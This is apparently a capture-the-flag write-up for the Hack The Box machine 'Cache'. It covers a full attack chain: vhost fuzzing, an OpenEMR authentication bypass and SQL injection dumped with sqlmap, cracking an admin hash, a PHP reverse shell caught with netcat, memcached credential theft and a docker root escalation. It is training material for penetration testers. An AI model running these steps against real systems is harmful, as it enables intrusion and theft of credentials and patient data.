Cache Cache Linux 💠 30 # 3068 各 3161 **Nmap** Let's add cache.htb to our /etc/hosts Quick scan only yielded ports 22 and 80. Let's run a deeper nmap scan: sudo nmap -T5 -p- -A -Pn 10.10.10.188 STATE SERVICE VERSION OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 22/tcp open ssh | ssh-hostkey: 2048 a9:2d:b2:a0:c4:57:e7:7c:35:2d:45:4d:db:80:8c:f1 (RSA) 256 bc:e4:16:3d:2a:59:a1:3a:6a:09:28:dd:36:10:38:08 (ECDSA) 256 57:d5:47:ee:07:ca:3a:c0:fd:9b:a8:7f:6b:4c:9d:7c (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Cache **Webpage Enum** Before we go to the webpage, let's run some enumeration scripts. Webpages can be distracting rabbit holes, and it's best to have surveyed the land before we go deeper in. **Directory Busting: fail** gobuster didn't yield much: gobuster dir -u 10.10.10.188 -w /usr/share/wordlists/dirbuster/directory-list-2.3medium.txt -o /home/kali/Downloads/cache/dirb.txt I also ran dirbuster, but didn't get much from here either. I then tried mutliple wordlists, but still didn't get anything. Let's move on for now. **Nikto** Nikto 10.10.10.188 -h Highlighted that there is a /login.html but that's about it Webpage /author.html - let's us know the authors name is ASH - perhaps we can use this for brute forcing? Let's go to the /login.html that nikto told us about. Trying any random username - like admin - we get shown this pop up: Username didn't Match Prevent this page from creating additional dialogs OK However when we try ash in specifically all lower case, this pop up doesn't come up - it only tells us that the password is incorret. This to me is verification that "ash" is a username for this login page. Poking around the inspector, we can find jquery/functionality.js and find the pasword: H@v3_fun \$(function(){ var error correctPassword = false; var error username = false; function checkCorrectPassword(){ var Password = \$("#password").val(); if(Password != 'H@v3 fun'){ alert("Password didn't Match"); error correctPassword = true; } } function checkCorrectUsername(){ var Username = \$("#username").val(); if(Username != "ash"){ alert("Username didn't Match"); error username = true; } \$("#loginform").submit(function(event) { /* Act on the event */ error correctPassword = false; /net.html: Fail Let's login. First thing I'm going to do is check the page source, the debugger section, and then take this image through exiftool and steg analysis.....there's nothing here lol. /net.html is seemingly a rabbithole. I'm gonna skip it for now and come back to it later. Cewl: Semi-Fail At a bit of a dead end. I remember the Cyber Mentor used the cewl command to create a wordlist from some webpages, and used those to fuzz to directories further. http://10.10.10.188/author.html -w authorlist.txt cewl -d 15 Let's talk through this command: cewl will go to the page we've directed it to, and trawl through the words to create a unique wordlist for us. -d asks the tool to create words up to a number of characters, in this instance 15 asks the tool to output the results to a file :~/Downloads/cache\$ cat authorlist.txt Security ASH Cache User Profile Card CEO Founder CACHE cache Researcher Threat Research Labs Engineer Hacker Penetration Tester and blogger Editor Chief Author Creator Check out his other projects like HMS Hospital Management System Contact However running unique wordlist this for directory busting didn't work. **Virtual hosts** On the HTB forum, a hint helped shape my focus: to pay attention to the **host**. I thought by adding cache.htb at the beginning, I was being clever - after all the Bank box required this. But potentially it seems like I'll need to fuck around with the /etc/hosts file on kali. I went to ippsec.rocks and searched *fuzz hosts*, and his **Redcross** video offered some advice: https://www.youtube.com/watch?v=JpzREo7XLOY&t=360. If you want to know some more about the various usage cases of wfuzz , you can read here: https://book.hacktricks.xyz/pentesting-web/webtool-wfuzz Wfuzz wfuzz -H 'Host: FUZZ.htb' -u 'http://10.10.10.188' -w authorlist.txt --hc 200 Let's talk through this command. wfuzz - simply put, anywhere that you put FUZZ will be replaced with words from the wordlist. -н tells wfuzz to use the header between the quotations when it make this request: -hc 200 - you don't 'need' this part. I added this on after I ran the command the first time. It asks wfuzz to filter its results to exclude anything that comes up with the site code 200. I found that we got a lot of 200's but only one other site code which would help us.... :~/Downloads/cache\$ wfuzz -H 'Host: FUZZ.htb' -u 'http://10.10.10.188' -w /home/kali/Downloa thorlist.txt -- hc 200 Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL site uzz's documentation for more information. ********************* * Wfuzz 2.4.5 - The Web Fuzzer **************** Target: http://10.10.10.188/ Total requests: 37 Response Lines Word Chars 0 L 0 W 0 Ch = 2018"HMS" 000000032: 302 Total time: 0.122014 Processed Requests: 37 Filtered Requests: 36 Requests/sec.: 303.2414 Go and edit your /etc/hosts file to include this hostname: HMS.htb **HMS.htb** 🕽 OpenEMR Login ① 🔏 hms.htb/interface/login/login.php?site=default < → C ♠ Kali Linux 🛝 Kali Training 🛝 Kali Tools 🥀 Kali Docs 🥀 Kali Forums 🛝 NetHunter 👖 Offensive Security 🐞 Exploit-DB <u>opene</u>MR Username: Username: Password: Password: Login Acknowledgments, Licensing and Certification Copyright © 2018 OpenEmr Searchsploit suggests a couple of exploits for OpenEMR, but to be honest we need to verify the version of OpenEMR. https://www.open-emr.org/wiki/index.php/OpenEMR_Wiki_Home_Page indicates we may be running **5.0.1**, as the copyright at the bottom is 2018. 2014 ONC Complete Ambulatory EHR Certification, PHP7.2 Compatible, 5.0.1 April 23, 2018 Translated into 34 languages The searchsploit exploits all seem to need authentication. So now we need to find a way to get creds or bypass the login screen. **OpenEMR Login SQL Exploit** Googling around, we find this report which details vulns for a slightly newer version of the web app: https://www.open-emr.org/wiki/images/1/11/Openemr_insecurity.pdf We specifically want to pay attention to page 4, section 2.0: patient portal authentication bypass, and then chain this to another exploit in this report: section 3.2 page 8: SQL Injection in add_edit_event_user.php, and then use SQLMAP 1.travel to http://hms.htb/portal/account/register.php 2. Now you're free to edit your url to: /portal/add_edit_event_user.php III\ 🗊 🕲 🚫 G \(\mathbf{hms.htb}\)/portal/add_edit_event_user.php? Kali Linux 🛝 Kali Training 🛝 Kali Tools 🦎 Kali Docs 🥀 Kali Forums 🛝 NetHunter 👖 Offensive Security 🛸 Exploit-DB 🝬 GHDB 👖 MSFU Visit: Office Visit 2020-06-22 Date: Time: AM ~ Patient: Duration minutes Administrator, Administrator > Provider: Openings Reason: **3.** Follow the report's guidance to add an eid = 1 after the .php? But now we need to stop follow ing the guide. We're going to save the GET request and have sqlmap dump the databse: https://sushant747.gitbooks.io/total-oscp-guide/sql-injections.html. **4.** Send the url we've adapted, but interpet it with burp. Save all the text into a file - I called mine openemrGET.txt 1 GET /portal/add_edit_event_user.php?eid=1 HTTP/1.1 2 Host: hms.htb 3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 5 Accept-Language: en-US, en; q=0.5 Accept-Encoding: gzip, deflate 8 Cookie: PHPSESSID=htrsljhiOucpjdolsnq9eg83an; OpenEMR=hv255rdd6olr2j6qusqlOnjj6c 9 Upgrade-Insecure-Requests: 1 kali:~/Downloads/cache\$ cat openemrGET.txt GET /portal/add_edit_event_user.php?eid=1 HTTP/1.1 Host: hms.htb User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Cookie: PHPSESSID=htrsljhi0ucpjdo1snq9eg83an; OpenEMR=hv255rdd6olr2j6qusq10njj6c Upgrade-Insecure-Requests: 1 **5.** Now this is prepared for SQLMap we're going to run the tool and get data base names: sqlmap -r openemrGET.txt --dbs **6.** We have the **two** database names (*information_schema* and *openemr*) and COULD dump them all and sift through....however that will take forever. When googling around for OpenEMR exploits, I found something which brought my attention to possibly looking for a table called users_secure. So the plan is to run sqlmap to enumerate one directory and then the other, and it will list out the tables avaliable to us in each respective database. Unable to change ADMIN password - OpenEMR Community 28 Sep 2017 - this, need to modify the administrator's entry in the users_secure mysql table. Will need to set the 'password' and 'salt' for the selected sqlmap -r openemrGET.txt -D openemr --tables is the command that will let us know that the **users_secure** table can be dumped from this database. template_users therapy_groups therapy_groups_counselors therapy_groups_participant_attendance therapy_groups_participants transactions user_settings users users_facility users_secure valueset voids x12_partners **7.** We now need to ask sqlmap to dump everything **users_secure**: qlmap -r openemrGET.txt -D openemr -T users_secure -dump :25:27] [INFO] the back-end DBMS is MvSOL [INFO] the back-end DBMS is MySQL

MSS: MySQL ≥ 5.1
[INFO] fetching columns for table 'users_secure' in database 'openemr'
[INFO] resumed: 'id','bigint(20)'
[INFO] resumed: 'username','varchar(255)'
[INFO] resumed: 'password','varchar(255)'
[INFO] resumed: 'salt','varchar(255)'
[INFO] resumed: 'last_update','timestamp'
[INFO] resumed: 'password_history1','varchar(255)'
[INFO] resumed: 'salt_history1','varchar(255)'
[INFO] resumed: 'password_history2','varchar(255)'
[INFO] resumed: 'salt_history2','varchar(255)'
[INFO] fetching entries for table 'users_secure' in database 'openemr'
[WARNING] reflective value(s) found and filtering out Table: users_secure | \$2a\$05\$l2sTLIG6GTBeyBf7TAKL6A\$ | openemr_admin | \$2a\$05\$l2sTLIG6GTBeyBf7TAKL6.ttEwJDmxs9bI6LXqlfCpEcY6VF6P0B. | 2019-11-21 06:38:40 | NULL | NULL We're given a username and password hash username: openemr_admin hash:\$2a\$05\$l2sTLIG6GTBeyBf7TAKL6.ttEwJDmxs9bI6LXqlfCpEcY6VF6P0B. Crack the hash I had some trouble with my john tool, but eventually I realised it was because I copied and pasted the hash without the **dot** at the end. Once I made a file of the hash in its entirety, I ran john: sudo john hash4john.txt -w=/usr/share/wordlists/rockyou.txt You don't actually need to include the --format option unless the tool won't work for some reason. :~/Downloads/cache\$ sudo john --format=bcrypt hash4john.txt -w=/usr/share/wordlists/rockyou.txt Using default input encoding: UTF-8 Loaded 1 password hash (bcrypt [Blowfish 32/64 X3]) Cost 1 (iteration count) is 32 for all loaded hashes Will run 2 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status 1g 0:00:00:00 DONE (2020-06-22 07:41) 2.083g/s 1762p/s 1762c/s 1762C/s tristan..princesita Use the "--show" option to display all of the cracked passwords reliably Session completed The password is xxxxxx . I'm not kidding. I haven't hidden the password. Legit the password for openemr_admin is the letter x six times. Username:openemr_admin Password: xxxxxx **Exploit** There seem to be a few methods for getting a reverse shell. We'll focus on one for now. Sign into the OpenEMR web app with our credentials. Go over to the Administration tab, and click Files

From there, take note of the path that the files here belong to. Open another tab in your browser for:

Get a netcat listner ready, and click *shell.php*. If all has gone well, you should have a shell waiting for you. 11:~/Downloads/cache\$ rlwrap nc -nvlp 4321 listening on [any] 4321 ... connect to [10.10.14.24] from (UNKNOWN) [10.10.10.188] 60548 Linux cache 4.15.0-99-generic #100-Ubuntu SMP Wed Apr 22 20:32:56 UTC 2020 x86 load average: 0.02, 0.01, 0.00 12:27:24 up 16:10, 0 users, LOGINO IDLE PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off whoami ww-data www-data Shell Get yourself a better shell: python3 -c 'import pty; pty.spawn("/bin/bash")' We don't have the permisions to get the user flag, but we do see the user Ash! Remember him? Wanna

bet we can use that password H@v3_fun to get shell as him via su ash?

http://hms.htb/sites/default/images/

see shell.php

Parent Directory

🛂 <u>login_logo.gif</u>

🛂 <u>logo 1.png</u>

🛂 <u>logo_2.png</u>

2 shell.php

Upload Image to /var/www/hms.htb/public_html/sites/default/images

Destination Filename: (Use source filename)

Whip yourself up a PHP reverse shell, I called mine *shell.php*. Upload it under the '**upload images**'

Index of /sites/default/images

visa mc disc credit card logos 176x35.qif 2018-05-28 16:45 1.8K

Name

Apache/2.4.29 (Ubuntu) Server at hms.htb Port 80

seciton of Administration, and then press save. Then in your /images/ tab, you should refresh and

Last modified Size Description

2018-05-28 16:45 9.9K

2018-05-28 16:45 357

2018-05-28 16:45 395

2020-06-22 12:22 3.4K

www-data@cache:/home/ash\$ su ash su ash Password: H@v3_fun ash@cache:~\$ whoami whoami ash What a short-lived time as www-data; anyway, on to bigger and better things.

Ash Shell Upload the enumeration scripts you like, chmod +755 the script, and run them with output to a text file: ./linpeas.sh > peasresults.txt In the results, we see a lot to do with **docker.** We can't do anything with this....yet though. It seems like we need to be the next user, **Luffy** to exploit this. So let's keep looking aroud the box for ways to priv esc as **Luffy** Memcached The box name is **cache**, so perhaps that a hint to pay attention to the **memecache** service. I always

save my enumeration scripts into text files, so cat the file and grep mem 0:12 /usr/bin/memcached -m 64 -p 11211 -u memcache -l 127.0.0.1 -P /var/run/memcached/me rwxr-xr-x 1 root root 167592 Sep 5 2019 /usr/bin/memcached rwxr-xr-x 1 root root 3408 Sep 5 2019 memcached rw-r--r- 1 root root 3.2K Sep 5 2019 memcached.service password: 0n3_p1ec3 get passwd VALUE passwd 0 9 0n3_p1ec3 END

Memecached seems to be a service that stores some memory in a space that makes it 'quicker' to request. But that also means - I imagine - that it isn't too secure. Following some of the steps in this guide: https://www.hackingarticles.in/penetration-testing-on-memcached-server/, we can get Luffy's get user get user VALUE user 0 5 luffv 1. memecached is an internal service on port 11211, we can connect to it via telnet 127.0.0.1 11211 2. The screen will look blank but that's okay, put in stats cachedump 1 0

3. and then get user and get passwd. 4. Exit telnet by typing quit **Luffy Shell** We can get the buffy shell by su luffy, and putting in their password: 0n3_p1ec3

ash@cache:/tmp\$ su luffy

su luffy Password: 0n3_p1ec3

luffy@cache:/tmp\$ whoami whoami luffy Remember how suspicious we were of **Docker**? Let's try and run docker again, but with the intention to

priv esc. GTFObins can help us out here: https://gtfobins.github.io/gtfobins/docker/#sudo

Will fail: docker run -v /:/mnt --rm -it alpine chroot /mnt sh

To Root!: docker run -v /:/mnt --rm -it ubuntu chroot /mnt sh

command is the distro we're running on: **ubuntu**.

cat /root/root.txt

whoami

whoami

root

But if we run this **first** command as it is from the website, it won't work. What we need is the **second**

specific linux distro (i.e Alpine) that Docker may typically run on. What we are specifying in our

command. But why? I think it has something to do with the fact that the first command is calling for a

docker run -v /:/mnt --rm -it ubuntu chroot /mnt sh